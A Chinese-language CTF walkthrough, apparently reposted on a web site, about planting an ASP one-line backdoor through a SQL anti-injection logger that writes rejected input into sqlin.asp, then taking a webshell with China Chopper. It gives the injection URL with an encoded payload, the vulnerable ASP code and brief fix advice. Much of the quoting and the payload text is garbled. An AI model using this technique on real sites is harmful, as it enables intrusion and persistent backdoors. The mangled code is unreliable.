首页 » 网站推广 » php菜刀sql注入技巧_SQL通用防注入系统asp版获取webshell

php菜刀sql注入技巧_SQL通用防注入系统asp版获取webshell

访客 2024-11-11 0

扫一扫用手机浏览

文章目录 [+]

1.1.1漏洞测试

1.来自ctf通关的提示

php菜刀sql注入技巧_SQL通用防注入系统asp版获取webshell

在进行ctf实战中,碰到一个关口,提示采取sql通用防注入系统,通过提示知道key文件就在根目录下,而且记录是写入到数据库内。

php菜刀sql注入技巧_SQL通用防注入系统asp版获取webshell
(图片来自网络侵删)

图1 ctf关口提示

2.测试语句

在url中添加“and 1=1”进行注入测试,如图2所示,程序操作IP、操作韶光、操作页面、提交办法和提交参数等进行提示和记录,提示攻击者,网站有安全防护。

图2提示注入戒备

1.1.2获取webshell

1.通过sqlmap的绕过防火墙进行测试

在sqlmap中对该url地址进行绕过测试,未能成功。

2.利用加密的Asp一句话木马

利用“and 1= ┼攠數畣整爠煥敵瑳∨≡┩愾“对url地址进行提交,也即:

10.2.66.50:8105/news.asp?id=753%20aNd%202=┼攠數畣整爠煥敵瑳∨≡┩愾

如图3所示,sql防注入系统会自动将url地址写入到sqlin.asp文件。

图3插入一句话后门测试

3.访问sqlin.asp

在浏览器中输入http://10.2.66.50:8156/sqlin.asp进行访问测试,如图4所示,能够正常访问,前面插入的一句话后门直接写入到该文件。

图4测试sqlin.asp文件

4.获取webshell

在中国菜刀后门管理工具中创建asp后门记录http://10.2.66.50:8156/sqlin.asp,密码为a,如图5所示,成功获取webshell。

图5获取webshell

1.1.3获取key及程序漏洞剖析

1.获取key值

通过webshell成功获取其key.php的值,如图6所示。
key.php在网站目录设置了权限,无法通过http://10.2.66.50:8156/key.php直接获取。

图6获取key值

2.漏洞剖析

(1)news.asp文件

通过对news.asp源代码进行剖析,创造其ID值并未进行任何过滤,明显存在sql注入漏洞。

<% set rs= Server.CreateObject(\公众adodb.recordset\"大众)

sql=\"大众select from news where id=\"大众&request(\"大众id\"大众)

rs.open sql,conn,1,3

bt=rs(\"大众bt\"大众)

nr=rs(\"大众nr\"大众)

(2)sql注入戒备程序剖析

sql注入戒备程序是将数据信息插入到数据库中方便,其关键代码如下:

Fy_dbstr=\"大众DBQ=\"大众+server.mappath(\"大众SqlIn.asp\"大众)+\"大众;DefaultDir=;DRIVER={Microsoft Access Driver (.mdb)};\"大众

Set Fy_db=Server.CreateObject(\"大众ADODB.CONNECTION\"大众)

Fy_db.open Fy_dbstr

Fy_db.Execute(\公众insert into SqlIn(Sqlin_IP,SqlIn_Web,SqlIn_FS,SqlIn_CS,SqlIn_SJ) values('\"大众&Request.ServerVariables(\公众REMOTE_ADDR\"大众)&\"大众','\公众&Request.ServerVariables(\公众URL\"大众)&\"大众','POST','\公众&Fy_Post&\公众','\"大众&replace(Request.Form(Fy_Post),\"大众'\"大众,\"大众''\"大众)&\公众')\"大众)

Fy_db.close

SQL注入戒备程序会将每一次的造孽数据提交到sqlln.asp文件,将该文件重命名为mdb文件,打开后其内容如图7所示,Access数据库获取webshell的一个关键条件和方法都知足,将加密的asp一句话后门写入数据库内容,同时又必须是asp文件。

图7数据库中内容

(3)安全建议

在存在参数传入的地方一定要进行过滤出来,同时进行类型的严格检讨和限定。
在本例中利用sql戒备程序可以办理sql注入,但如果sql戒备程序存在毛病的情形,将导致网站存在安全风险。
在本例中可以将sqlln.asp修正为mdb文件也可以避免。

标签:

相关文章

php常量率低技巧_PHP 常量详解教程

PHP 常量常量是单个值的标识符(名称)。在脚本中无法改变该值。有效的常量名以字符或下划线开头(常量名称前面没有 $ 符号)。注释...

网站推广 2024-12-19 阅读0 评论0